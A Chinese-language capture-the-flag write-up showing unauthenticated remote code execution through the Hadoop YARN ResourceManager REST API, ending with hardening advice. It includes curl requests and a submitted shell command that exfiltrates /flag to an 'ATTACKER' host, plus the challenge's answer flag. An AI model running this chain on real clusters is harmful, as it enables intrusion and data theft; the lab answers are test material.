玄机网络安全靶场:Hadoop YARN ResourceManager 未授权 RCE WP

解题报告:Hadoop YARN ResourceManager 未授权 RCE

题目名称:Hadoop YARN ResourceManager(Unauthorized)
难度:简单
分类:渗透
Flagflag{41d1290e-e2d2-4028-85ce-43909a1787c4}


漏洞背景

Hadoop YARN(Yet Another Resource Negotiator)是 Apache Hadoop 的集群资源管理系统。YARN ResourceManager 提供了一套 REST API 用于集群管理,默认情况下该 API无需任何认证即可访问。攻击者可以通过以下步骤在集群节点上执行任意命令:

  1. 调用POST /ws/v1/cluster/apps/new-application创建新的 Application ID
  2. 调用POST /ws/v1/cluster/apps提交包含恶意命令的 Application
  3. YARN 的 NodeManager 会在容器中执行该命令

靶机信息

项目
靶机 IP43.192.45.210
服务端口8088(YARN ResourceManager Web UI)
服务版本Hadoop YARN(Jetty 6.1.26)
目标文件/flag

利用过程

第一步:确认服务连通性

curl-vhttp://43.192.45.210:8088/# 返回 HTTP 302 → /cluster,确认 YARN 服务正常运行

第二步:获取新 Application ID

curl-s-XPOST"http://43.192.45.210:8088/ws/v1/cluster/apps/new-application"\-H"Content-Type: application/json"# 返回:{"application-id":"application_1776602744486_0011",...}

第三步:提交恶意 Application

通过 Python 构造 JSON payload,命令使用/bin/sh -c执行,将/flag内容通过 curl 外带到攻击者服务器:

command='/bin/sh -c \'curl -sk "https://ATTACKER/?r=$(cat /flag 2>&1 | tr -d \'\\n\')"\''payload={"application-id":app_id,"application-name":"exploit","am-container-spec":{"commands":{"command":command}},"application-type":"YARN","unmanaged-AM":False,"max-app-attempts":1,"resource":{"memory":1024,"vCores":1},...}

第四步:接收外带数据

在攻击者服务器上启动 HTTP 服务,收到请求:

GET /flag1?r=flag41d1290e-e2d2-4028-85ce-43909a1787c4 HTTP/1.1

Flag:flag{41d1290e-e2d2-4028-85ce-43909a1787c4}


关键技术点

技术点说明
无认证 REST APIYARN ResourceManager 默认不需要认证
Application 提交通过 REST API 提交包含任意命令的 Application
命令执行环境NodeManager 容器中以 hadoop 用户执行
外带方式靶机可以访问外网,用 curl 将结果发送到攻击者服务器
base64 问题靶机环境base64 -w 0不支持,改用tr -d '\n'去除换行

修复建议

  1. 为 YARN ResourceManager REST API 启用 Kerberos 认证
  2. 配置防火墙,限制 8088 端口只允许内网访问
  3. 启用 YARN 的 ACL(Access Control List)功能
  4. 升级到支持认证的 Hadoop 版本并正确配置安全模式